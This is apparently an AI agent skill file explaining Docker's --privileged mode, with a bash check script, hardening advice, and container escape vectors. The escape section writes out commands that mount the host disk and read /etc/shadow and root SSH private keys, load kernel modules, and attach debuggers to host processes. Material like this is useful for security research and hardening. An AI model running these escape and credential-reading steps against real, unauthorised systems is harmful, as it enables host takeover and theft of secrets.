Hacktricks-skills docker-privileged-security
Analyze Docker --privileged container security implications, check if a container is privileged, and understand available escape vectors. Use this skill whenever the user mentions Docker containers, privileged mode, container security, privilege escalation, container escape, or CTF challenges involving Docker. Make sure to use this skill for any security research, penetration testing, or CTF scenarios involving Docker containers.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/linux-hardening/privilege-escalation/docker-security/docker-privileged/SKILL.MDDocker Privileged Container Security
This skill helps you understand the security implications of Docker's
--privileged flag, check if you're running in a privileged container, and identify potential escape vectors for security research and CTF challenges.
What --privileged Does
When you run a container with
--privileged, these protections are disabled:
1. Device Access (/dev)
All host devices become accessible in
/dev/. This allows mounting the host disk directly.
Default container:
ls /dev console fd mqueue ptmx random stderr stdout urandom core full null pts shm stdin tty zero
Privileged container:
ls /dev cachefiles mapper port shm tty24 tty44 tty7 console mem psaux stderr tty25 tty45 tty8 core mqueue ptmx stdin tty26 tty46 tty9 cpu nbd0 pts stdout tty27 tty47 ttyS0
2. Kernel File Systems
Kernel file systems are mounted read-write instead of read-only, allowing kernel behavior modification.
Check:
# Default container shows (ro) flags mount | grep '(ro' sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime) # Privileged container - no read-only mounts mount | grep '(ro' # (empty output)
3. Proc Masking
tmpfs overlays on sensitive /proc paths are removed, exposing kernel internals.
Check:
# Default container has tmpfs overlays mount | grep '/proc.*tmpfs' tmpfs on /proc/acpi type tmpfs (ro,relatime) tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755) # Privileged container - no overlays mount | grep '/proc.*tmpfs' # (empty output)
4. Linux Capabilities
All capabilities are granted instead of a limited set.
Check:
# Install libcap if needed apk add -U libcap # Alpine apt-get install libcap2-bin # Debian/Ubuntu # Check capabilities capsh --print # Default container (limited): # Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=eip # Privileged container (all capabilities): # Current: =eip cap_perfmon,cap_bpf,cap_checkpoint_restore-eip # Bounding set includes: cap_sys_admin,cap_sys_ptrace,cap_sys_module,cap_net_admin,cap_dac_read_search,cap_sys_rawio...
5. Seccomp
System call filtering is disabled.
Check:
grep Seccomp /proc/1/status # Default container: # Seccomp: 2 # Seccomp_filters: 1 # Privileged container: # Seccomp: 0 # Seccomp_filters: 0
6. AppArmor
Mandatory access control profiles are disabled.
7. SELinux
Security labels are disabled, inheriting container engine labels.
Quick Privilege Check Script
Run this to quickly determine if you're in a privileged container:
#!/bin/bash echo "=== Docker Privilege Check ===" # Check device count DEV_COUNT=$(ls /dev 2>/dev/null | wc -l) echo "Device count: $DEV_COUNT (privileged typically > 50)" # Check Seccomp SECCOMP=$(grep Seccomp /proc/1/status 2>/dev/null | awk '{print $2}') echo "Seccomp: $SECCOMP (0 = disabled/privileged)" # Check for read-only sysfs SYSFS_RO=$(mount | grep 'sysfs on /sys' | grep -c 'ro') echo "Sysfs read-only: $SYSFS_RO (0 = writable/privileged)" # Check proc tmpfs overlays PROC_TMPFS=$(mount | grep '/proc.*tmpfs' | wc -l) echo "Proc tmpfs overlays: $PROC_TMPFS (0 = privileged)" # Check capabilities if available if command -v capsh &>/dev/null; then CAP_COUNT=$(capsh --print 2>/dev/null | grep 'Bounding set' | tr ',' '\n' | wc -l) echo "Capability count: $CAP_COUNT (privileged typically > 30)" fi if [ "$SECCOMP" = "0" ] && [ "$SYSFS_RO" = "0" ]; then echo "\n⚠️ LIKELY PRIVILEGED CONTAINER" else echo "\n✓ Standard container" fi
Escape Vectors
1. Mount Host Disk
Privileged containers can access host block devices:
# Find host disk devices ls /dev | grep -E 'sd[a-z]|nvme[0-9]+n[0-9]' # Mount host root filesystem mount /dev/sda1 /mnt/host # Access host files cat /mnt/host/etc/shadow cat /mnt/host/root/.ssh/id_rsa # Or use fdisk to find partitions fdisk -l /dev/sda
2. Access Host Processes
Namespaces are NOT affected by --privileged. Use
--pid=host flag or capabilities:
# If --pid=host was set ps aux # Otherwise, use ptrace capability to inspect processes gdb -p <host_pid>
3. Load Kernel Modules
With
cap_sys_module capability:
# Load a kernel module insmod /path/to/module.ko # Or use modprobe modprobe <module_name>
4. Network Access
With
cap_net_admin and cap_net_raw:
# Access host network interfaces ip link show # Modify routing ip route add default via 192.168.1.1 # Packet capture cpdump -i eth0
5. Ptrace Other Processes
With
cap_sys_ptrace:
# Attach to host processes gdb -p <pid> # Or use strace strace -p <pid>
What --privileged Does NOT Affect
Namespaces
Even privileged containers don't see all host processes by default. To access host namespaces:
# These flags are separate from --privileged: --pid=host # Share host PID namespace --net=host # Share host network namespace --ipc=host # Share host IPC namespace --uts=host # Share host UTS namespace
User Namespace
User namespaces cannot be disabled and enhance security by restricting privileges. Rootless containers require them.
Security Recommendations
- Never use --privileged unless absolutely necessary
- Use specific capabilities instead:
docker run --cap-add=SYS_ADMIN --cap-add=NET_ADMIN - Drop unnecessary capabilities:
docker run --cap-drop=ALL --cap-add=CHOWN - Implement seccomp profiles to limit system calls
- Enable AppArmor/SELinux for mandatory access control
- Use read-only filesystems where possible
- Use user namespaces for additional isolation
Manual Security Option Disabling
You can disable individual protections without --privileged:
# Disable seccomp --security-opt seccomp=unconfined # Disable AppArmor --security-opt apparmor=unconfined # Disable SELinux --security-opt label:disable